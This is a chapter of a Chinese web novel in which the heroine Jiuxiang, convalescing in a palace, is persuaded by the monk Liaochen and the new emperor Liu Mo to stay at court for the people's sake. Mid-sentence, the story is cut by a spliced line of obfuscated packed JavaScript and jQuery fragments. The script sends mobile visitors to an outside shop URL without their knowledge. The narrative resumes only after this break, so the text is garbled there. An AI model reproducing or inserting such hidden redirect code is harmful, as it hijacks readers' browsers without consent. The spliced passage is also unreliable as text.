殿阁深深,圈出一方庭院。
九襄不知在这陌生的锦绣牢笼里昏沉了几日,只记得滚烫与冰冷交替着碾过身体,混沌中似乎有人来过,她听到宫女的跪拜,想是那新帝刘默,曾在她床榻前立过片刻;还有那熟悉的檀香气息,或许是了尘曾在她榻边低诵经文。
这天午后,久违的清明终于如退潮般,缓缓回到她身上。骨头缝里那碾磨般的酸痛淡去了,喉咙也不再灼痛如焚。她披了件外裳,慢慢挪到了廊下。
廊下挂着一只精巧的竹篾鸟笼,里面关着只不知名的雀儿,羽毛颜色黯淡,与她一般,安静地蜷在横杆上,不鸣不跃。
庭院倒是比她想象中宽阔些,倒也精巧,只是处处透着股被精心计算过的“雅致”。
东墙角一株老桂,怕是有年岁了,枝叶蓊郁,铺开好大一片阴凉。时序已入八月,枝头悄悄攒起了米粒似的花苞,空气里隐约浮动着似有还无的甜香,那是独属于中秋将近的讯号。只是这讯号落进九襄眼里,却只勾起一片空茫的凉:花期将至,月将圆,可她的人生里,再不会有“团圆”这两个字了。
西面沿着粉墙,种了一溜菊,也是含苞待放,排列着队形,一丝不乱。中间一方浅池,引了活水,养着几尾红鲤,在稀疏的残荷梗间懒洋洋地摆尾。池边叠着几块瘦透的太湖石,形态是刻意求来的“古拙”。
这院里的花鸟鱼池太板正,太规矩,像是画纸上的工笔,没有山林间那股肆意蓬勃的野气,也没有报恩寺后院草木随缘的禅意。
一切都很静,静得能听见风吹过时千篇一律的唏嘘声。
九襄的目光有些空茫地滑过这些景物,最后,不由自主地,望向了头顶那片被高墙和飞檐切割得方方正正的天空。
秋日的天,极高,极淡,是一种泛着灰白的浅蓝色,像一块洗净了又微微褪色的旧绸。
就在这时,一点突兀的鲜活色彩,撞进了这片过于规整的视野。
是一只风筝。
远远的,从那重重宫阙的不知哪个角落飘起来,颤颤巍巍,正努力向着更高的天际攀升。是只常见的沙燕形状,却难得地用了大红的绢面,拖着两条长长的、碧绿的尾穗,在这片灰白与金碧交织的背景里,鲜明得几乎有些刺眼,像一滴血,或是一簇不甘熄灭的火苗。
九襄倚着朱红的廊柱,仰着头,看得有些痴了。那风筝飘摇不定,时而借着一股好风猛地窜高一截,时而又乏力似的往下坠一坠,总在险险要跌落时,又被底下看不见的线猛地一扯,拉回既定的轨迹。
它飞得那样努力,那样挣扎。她看着,忽然觉得喉头有些发哽。自己的人生,与这风筝,又有何分别?
一阵极轻的脚步声自身后响起,九襄没有立刻回头。她知道是谁,这脚步声,她自幼躲在报恩寺的藏经阁看书时,便时常听见。
萧半能(了尘)已走到她身侧半步远的地方停下,也顺着她的目光,望向那只挣扎的红点。片刻寂静,只有风声掠过庭树,沙沙作响。
“起风了。”萧半能的声音平和如常,听不出悲喜,只是陈述一个事实,“这宫里,有的是闲人。”
九襄依旧望着天空,声音很轻,带着久病初愈的微哑,也带着一丝不易察觉的恍惚:“了尘大师,你说……放风筝的人,是想让它飞走,还是怕它飞走?”
萧半能没有直接回答。他顺着她的目光也望了一会儿,那鲜红的沙燕又一次被无形的线拽得一沉。他极轻地笑了一声,那笑声里却是勘破后的无奈与自嘲。
“了尘了尘,贫僧又何尝真能‘了’却尘缘?”他转头看向九襄,目光澄澈而悲悯,“放风筝的人,或许连自己也分不清。正如贫僧……挣扎半生也始终是当年那个自以为武功谋略皆能、实则半能不通的‘萧半能’。”
九襄的心被这“半能”二字轻轻刺了一下。她收回目光,落在了尘平静的脸上,那里有风霜,有智慧,也有她幼年时曾熟悉的慧能住持的轮廓。
“百般皆是命,半点不由人么?”她喃喃,像是在问他,又像问天,问己。
萧半能沉默半响,抬起头,眼中是毫不掩饰的恳切与沉重:“‘了尘’…半生修行,到底未能了却尘缘;‘慧能’…此身此心,终究是有慧而不能为。当年我护不住你的母亲,而今…怕也无力为你斩断这命中劫数。但贫僧深知,天下之稳,系于宫廷之稳;万民之安,始于朝堂之安。无论身披素衣还是紫袍,我依旧是当年那个…誓守天下的萧半能,此心所向,从来未改。”
见九襄眼底微光闪烁,知她被自己的话语牵动,萧半能整了整身上的官袍,后退半步,竟朝着九襄,双手合十,深深施一佛礼。那姿态,不是一个高官对少女的礼仪,而是一个民间的朝拜者,对一份可能救赎天下安宁之力量的虔诚吁请。
“小菩萨,你看这眼前乾坤,新帝初立,朝内根基未稳,国师余党盘踞外朝,其势如蛰蟒伺机,四方暗流涌动。新朝,就像一艘刚出港的大船,亟需压舱石,亟需能辨风向、稳得住舵的人。”
他的声音微微发颤,用上了最重的情分与筹码:
“不看僧面看佛面——看在这天下苍生,看在他们但求一份太平日子、免于战火流离的卑微祈愿上!求你……为这黎民百姓,留在这宫中。这是一份……沉重的担当!”
九襄如遭雷击,怔在原地。“慧能”这个身份,像一把钥匙,猛地打开了她记忆最深处的匣子。
是慧能住持那双坚定而慈悲的手,不顾熊熊烈焰,毅然决然地,将那个被视作“妖孽”的襁褓婴儿,从滚烫的炭盆一把捞起,紧紧护在怀中。那一捞,捞起的不仅是一个小生命,更是她此后一切悲欢离合的起点。
她泪眼朦胧看着眼前这个官袍加身的了尘,耳畔又回响起“慧能住持”的梵音:
“此女来自九天,生就一颗菩提心,不如唤作''九襄’。襄者,助也……她生来,便要主动担起他人罪业,替天下人承受苦难。佛陀割肉喂鹰、舍身饲虎,地藏立誓‘地狱不空,誓不成佛’,皆同此心。”
若无慧能世间便无九襄。山岳当前,可家仇未雪,但见那“佛面”——那苍生的面容,却像一张无形的网,缓缓落下。此刻,千丝万缕的过往与抉择,正在她心底纠缠成解不开的结。
(宝莲OS:当年我听见‘九襄’这名字觉得比‘招娣、来褔’洋气,却不知此乃命中注定。)
“小菩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946337|189537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
萨,李白至今仍清楚记得那日,在清平县城外的药王庙,你曾设坛讲法。”刘默的声音忽然自了尘身后朗然响起。
他不知何时已悄然至此,今日他只着一袭常服,身后亦只随着寥寥两三随从,浑如寻常士人。
萧半能慌忙行礼:“拜见殿下。”
九襄亦欲敛衽,却被他抬手轻轻扶住腕间。刘默看着她,声音低柔得只容二人听见:
“在你面前,我永远愿是那个听小菩萨讲佛法的李白。”
(宝莲OS: 我倒是记得,那日多亏李白援引《礼记》,替我解了围。他将“大道之行”与我的“柏拉图理想国”相并而谈,东西之思,竟在那一刻相映成趣。唉,那时,我竟对他生出几分好感。)
那日,九襄身中“百日醉”之毒,讲坛前半全仗宝莲魂识支撑,记忆虽蒙着一层雾,却始终记得——是李白于会后出手相助。若非他查明关窍,令沈武伏法,冯爹的冤屈亦难昭雪。心念及此,对“李白”那份感激与亲近油然而生。只可惜,世间从来就没有李白。眼前之人,是南朝的新帝,刘默。
“小菩萨那日所言之理想国,李白……至今不敢忘。”刘默语中抑着久藏的波澜,声渐扬起:
“人人能饱暖,劳作即有得,法不纵强,权不欺弱。孩童皆可入学,不问出身;老者皆得颐养,不忧身后。天下无战,世道安宁,律法之下皆得公正,人各有路,皆有机会……”
他越说越急,眼中如有火光跃动。
“大道之行,天下为公。”九襄轻声接道,心底某处亦被这话语点亮。
刘默却于此时忽转话锋:“小菩萨之名,为何是‘九襄’?”
九襄未及深想,脱口而答:“‘九’者,喻心志如日,光明久照;‘襄’者,助也。‘九襄’二字,便是愿以恒久之心,行襄助众生之事。此生但为世人解厄扶危,纵风雨如磐,此志不渝。”
她话音微顿,目光掠过宫阙与眼前之人,声调渐沉,恍如回到那日法坛之上,面对芸芸众生:
“既言襄助万民,便不可不察治国安邦之道。天地有九野,治国亦有九经。九经条目虽繁,‘子庶民’——待民如子,方是根基……”
“执先王之尺,量今政之失;擎圣贤之烛,照万民之愿。”刘默低声接上,那正是当年她在药王庙前立下的誓言。
“佛法不离世间,佛国不必远求。”萧半能适时缓声道,“一灯能破千年暗,一念可照万里明。佛前之灯,亦该是照亮人间的灯盏。”
刘默见九襄眼中星辉流动,知她心念已明,遂抬袖示意。一旁宫女静步上前,手中所捧正是为九襄赶制的新裳。
他声转轻和,如在诉说一个美好的开端:
“新朝年号,定为‘元嘉’。元者,善之长;嘉者,德之和。取自《周易》‘元者善之长也’,《汉书》‘嘉德合于礼’。愿自此而始,德政兴、百姓安、天下嘉,终不负小菩萨所言之‘理想国’。”
九襄默默接下这套新裳。
风停了。那只高空中的红色沙燕,失去了风的依托,不再挣扎,只是静静地悬在那里,随着底下那根线的牵引,认命般地,定格于这片被宫墙划分的天空。